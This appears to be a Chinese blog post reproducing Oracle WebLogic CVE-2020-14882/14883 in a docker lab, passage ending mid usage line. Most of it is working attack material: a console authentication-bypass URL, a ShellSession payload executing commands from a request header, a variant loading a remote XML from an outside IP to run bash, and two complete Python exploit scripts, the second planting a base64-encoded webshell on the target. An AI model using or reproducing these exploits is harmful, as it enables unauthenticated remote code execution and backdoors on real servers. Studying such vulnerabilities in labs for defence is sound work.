返回
顶部

简介

本次复现为两个漏洞,前者CVE-2020-14882为绕过weblogic控制台认证、后者CVE-2020-14883为经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE

参考:

复现过程

环境准备

下载docker-compose.yml文件,然后执行docker-compose up -d即可搭建出漏洞环境

但是weblogic的漏洞环境镜像比较大,下载起来比较耗时,这里直接提供百度网盘的下载链接,提取码cdlr,解压之后的文件weblogic.tar的SHA256校验和:5A16598CB64FF0724459FD1E1EC975B4303BF8C495EF3BCA6DFB4D39A4E07654

验证文件无误后,执行docker load < weblogic.tar,然后docker images查看一下刚加载进来的weblogic镜像的IMAGE ID,将docker-compose.yml文件中的vulhub/weblogic:12.2.1.3-2018改成刚才获取到的IMAGE ID即可

设置好浏览器代理,使用burp进行抓包

抓包获取cookie

在浏览器中访问:http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal

查看burp的HTTP history,找到cookie中带有ADMINCONSOLESESSION的请求包,转到Repeater模块中

1606057683128

1606057776735

构造回显payload

构造出如下数据包:

  • 将GET请求改为/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
  • 在请求体中添加cmd头部,值就是你想要执行的命令:cmd:whoami

如下,执行的命令结果会显示在响应包的body中

1606057966860

老版本(12以下)的利用方式

由于10.x的版本没有com.tangosol.coherence.mvel2.sh.ShellSession类,需要通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类来加载外部xml执行命令

在我们的web服务器上放置一个xml文件,内容如下:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

其中touch /tmp/success2是我们想要执行的命令

访问如下URL即可:

http://192.168.162.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://144.34.164.217/theme/css/1.xml")

1606058613655

这种利用方式的弊端就是如果目标服务器不出网,也没啥用,因为无法加载外部的xml文件,除非你是在目标内网里面

exp脚本编写

执行命令

# -*- coding: UTF-8 -*-
import sys
import re
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
    print('usage: python3 exp.py http(s):target-ip:target-port command')
    sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
    baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
    i = 3
    while i < len(sys.argv):
        cmd += ' '
        cmd += sys.argv[i]
        i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
#忽略https证书错误的问题,第二个请求也一样
response = requests.get(res, allow_redirects=False, verify=False)
print('---------------------------------------raw header---------------------------------------')
print(response.headers)
print('---------------------------------------raw header---------------------------------------\n\n')
cookie_raw = response.headers['Set-Cookie']
matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
    cookie = matchObj.group(1)
    print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++')
    print('cookie get!\n')
    print(cookie)
    print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++\n\n')
else:
    print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
    print('no cookie')
    print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n')
    sys.exit();

#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False, verify=False)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
print(response.text)    
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')

1607502083894

写入文件

# -*- coding: UTF-8 -*-
import sys
import re
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
    print('usage: python3 exp.py http(s):target-ip:target-port command')
    sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
    baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
    i = 3
    while i < len(sys.argv):
        cmd += ' '
        cmd += sys.argv[i]
        i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
#忽略https证书错误的问题,第二个请求也一样
response = requests.get(res, allow_redirects=False, verify=False)
print('---------------------------------------raw header---------------------------------------')
print(response.headers)
print('---------------------------------------raw header---------------------------------------\n\n')
cookie_raw = response.headers['Set-Cookie']
matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
    cookie = matchObj.group(1)
    print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++')
    print('cookie get!\n')
    print(cookie)
    print('+++++++++++++++++++++++++++++++++++++++cookie+++++++++++++++++++++++++++++++++++++++\n\n')
else:
    print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
    print('no cookie')
    print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!no cookie!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n')
    sys.exit();

#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22data='你的经过base64编码的马子';data=new String(new sun.misc.BASE64Decoder().decodeBuffer(data));out=new java.io.PrintWriter('你想要写入文件的绝对路径,这个可以通过前面的命令执行脚本获得');out.print(data);out.close();%22);"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False, verify=False)
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')
print(response.text)    
print('+++++++++++++++++++++++++++++++++++++++cmd output+++++++++++++++++++++++++++++++++++++++')

用法:

python3 exp.py http://127.0.0.1:7001 -